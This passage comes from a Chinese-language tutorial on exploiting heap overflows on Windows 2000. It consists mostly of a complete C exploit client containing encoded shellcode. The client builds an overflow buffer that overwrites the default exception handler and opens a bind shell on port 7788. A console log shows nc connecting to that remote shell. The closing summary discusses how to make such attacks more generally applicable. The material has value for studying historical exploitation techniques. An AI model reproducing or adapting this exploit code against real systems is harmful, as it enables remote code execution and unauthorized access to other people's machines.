"\xce\xaa\xc6\xc3\xd9\xde\xcf\xc4\xaa\xcb\xc9\xc9\xcf\xda\xde\xaa"
"\xd9\xcf\xc4\xce\xaa\xd8\xcf\xc9\xdc\xaa\xc3\xc5\xc9\xde\xc6\xd9"
"\xc5\xc9\xc1\xcf\xde\xaa\xc9\xc6\xc5\xd9\xcf\xd9\xc5\xc9\xc1\xcf"
"\xde\xaa\xc9\xc7\xce\x84\xcf\xd2\xcf\xaa\xcf\xd2\xc3\xde\xa7\xa0"
"\xaa";
/* 2161+16 bytes long */
int main(int argc, char *argv[])
{
? WSADATA?????? wsd;
? SOCKET??????? sClient;
? int?????????? ret, i;
? struct sockaddr_in server;
? struct hostent??? *host = NULL;
? char buff[4096] = {0};
? if(argc != 3)
? {
??? printf("usage: %s target port\n", argv[0]);
??? exit(1);
? }
? if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
? {
??? printf("Failed to load Winsock library!\n");
??? return 1;
? }
? sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
? if (sClient == INVALID_SOCKET)
? {
??? printf("socket() failed: %d\n", WSAGetLastError());
??? return 1;
? }
? server.sin_family = AF_INET;
? server.sin_port = htons((u_short)atoi(argv[2]));
? server.sin_addr.s_addr = inet_addr(argv[1]);
? if (server.sin_addr.s_addr == INADDR_NONE)
? {
??? host = gethostbyname(argv[1]);
??? if (host == NULL)
??? {
????? printf("Unable to resolve server: %s\n", argv[1]);
????? return 1;
??? }
??? CopyMemory(&server.sin_addr, host->h_addr_list[0],
?????? host->h_length);
? }
? //連接到目標主機的1500端口
? if (connect(sClient, (struct sockaddr *)&server,
??? sizeof(server)) == SOCKET_ERROR)
? {
??? printf("connect() failed: %d\n", WSAGetLastError());
??? return 1;
? }
? //下面開始構造溢出串
? for(i=0;i<sizeof(buff);)
? {
??? buff[i++] = 0xeb;
??? buff[i++] = 0x06;
? }
? //先把前面放上大量的jmp 6指令(0xeb,0x06)作為NOP
? *(unsigned int *)&buff[32+8] = 0x0012f5bf;? //shellcode地址
? *(unsigned int *)&buff[32+8+4] = 0x77ebf44c;? //默認異常處理地址
? //在對應的位置放上要改寫的內存地址和shellcode地址,
? //這里用的shellcode地址是放在漏洞程序中的char buff[4096]里面的,
? //這個是堆棧中的緩沖區地址,在不同的系統中可能略有不同
? memcpy(&buff[sizeof(buff)-strlen(shellcode)-1],shellcode,strlen(shellcode));
? //然后把shellcode放在最后面
? /*
? 整個構造好的溢出串如下:
? +------------------------------------------------------------------------------+
? |jmp 6 jmp 6...|0x0012f5bf|0x77ebf44c|jmp 6 jmp 6...jmp 6 jmp 6|?? shellcode?? |
? +------------------------------------------------------------------------------+
? |?? 40 bytes?? |? 4 bytes |? 4 bytes |???????????????????????? |shellcode的長度|
? */
? //shellcode的前面要放上幾個0x90,以便最后一個jmp 6可以跳到其中
? buff[sizeof(buff)-1] = 0;
? i = 4096;
? //把溢出串發送過去
? ret = send(sClient, buff, i, 0);
? printf("shellcode sended!\ntelnet to 7788 port");
? closesocket(sClient);
? WSACleanup();
? return 0;
}
我們首先以RELEASE模式來編譯有漏洞的程序win_heap_vul.c,并運行起來。
然后再編譯并運行攻擊程序win_heap_exp.c:
C:\HEAP\client\Debug>win_heap_exp localhost 1500
shellcode sended!
telnet to 7788 port
如果攻擊成功,就會在目標主機上打開7788端口,用nc連上去。
C:\HEAP\client\Debug>nc -vv localhost 7788
YANX [127.0.0.1] 7788 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-2000 Microsoft Corp.
C:\HEAP\server\Release>dir
C:\HEAP\server\Release>
dir
驅動器 C 中的卷沒有標簽。
卷的序列號是 D4FF-AC1D
C:\HEAP\server\Release 的目錄
2002-05-28? 18:10?????? <DIR>????????? .
2002-05-28? 18:10?????? <DIR>????????? ..
2002-05-28? 18:10?????????????? 33,792 vc60.idb
2002-05-28? 18:10?????????????? 40,960 win_heap_vul.exe
2002-05-28? 18:10??????????????? 2,676 win_heap_vul.obj
2002-05-28? 18:10??????????? 2,910,400 win_heap_vul.pch
?????????????? 4 個文件????? 2,987,828 字節
?????????????? 2 個目錄? 2,044,203,008 可用字節
C:\HEAP\server\Release>exit
成功的攻擊了HEAP溢出漏洞的程序,并打開了7788端口。
五、總結
通過上面的分析和例子,我們已經知道了如何利用Windows下的HEAP溢出。Windows下的HEAP溢出和Linux等系統的都差不多,都是將超長的數據拷貝到動態分配的內存塊,從而導致覆蓋掉內存塊間的管理結構造成的。唯一不同之處在于Linux等系統的HEAP溢出是通過free()時被利用的,而Windows是在再次分配內存是產生問題的,這種情況應該也是很容易出現的,ASP溢出就是最典型的例子。
但是現在利用這種漏洞還存在一些問題:
1、對于線程異常鏈上所有異常處理函數都無法處理的異常,系統才交給默認異常來處理,只有在這種情況下我們改寫默認異常處理才有效。也就是說,只有溢出后彈出錯誤對話框的漏洞程序,我們才能夠用上面方法來利用,否則的話,就必須改寫其他地方,例如TEB的第一個內存單元,或者保存在堆棧中的函數返回地址等。
2、上面的程序用的是shellcode的地址直接定位的方法,這種方法在某些情況下可能會造成攻擊程序的通用性比較差。其實對于上面那個漏洞程序,我們也可以用在系統DLL中的JMP EBP-XXX指令的方法來定位shellcode,這樣的指令是可以找到的,但是這種方法并不具備通用性,因此在上面例子里還是用了直接定位shellcode的方法。對于一些可以反復攻擊的漏洞程序,我們也可以采取暴力法來猜測這個地址。
3、如果溢出發生在進程的默認HEAP上(即通過GetProcessHeap()獲得的),那么在執行shellcode時會出現一些問題,因為溢出破壞掉一些HEAP管理結構,而shellcode中調用的一些API函數會在進程默認堆上進行內存分配工作,因此會導致shellcode無法正常運行。要解決這個問題就需要在shellcode里下一些功夫,可以在shellcode實際功能之前恢復被破壞的管理結構,或者不使用進行HEAP分配的函數,這肯定是一個可以解決的問題。
Windows下的HEAP溢出的發展還不完善,沒有統一通用的方法來利用,要根據出現溢出的程序的具體情況來使用不同的方法來進行攻擊。我寫下本文的目的在于拋磚引玉,希望眾位高手能夠提出更多更好的辦法來解決這些問題,使得HEAP溢出能夠像STACK溢出那樣容易利用。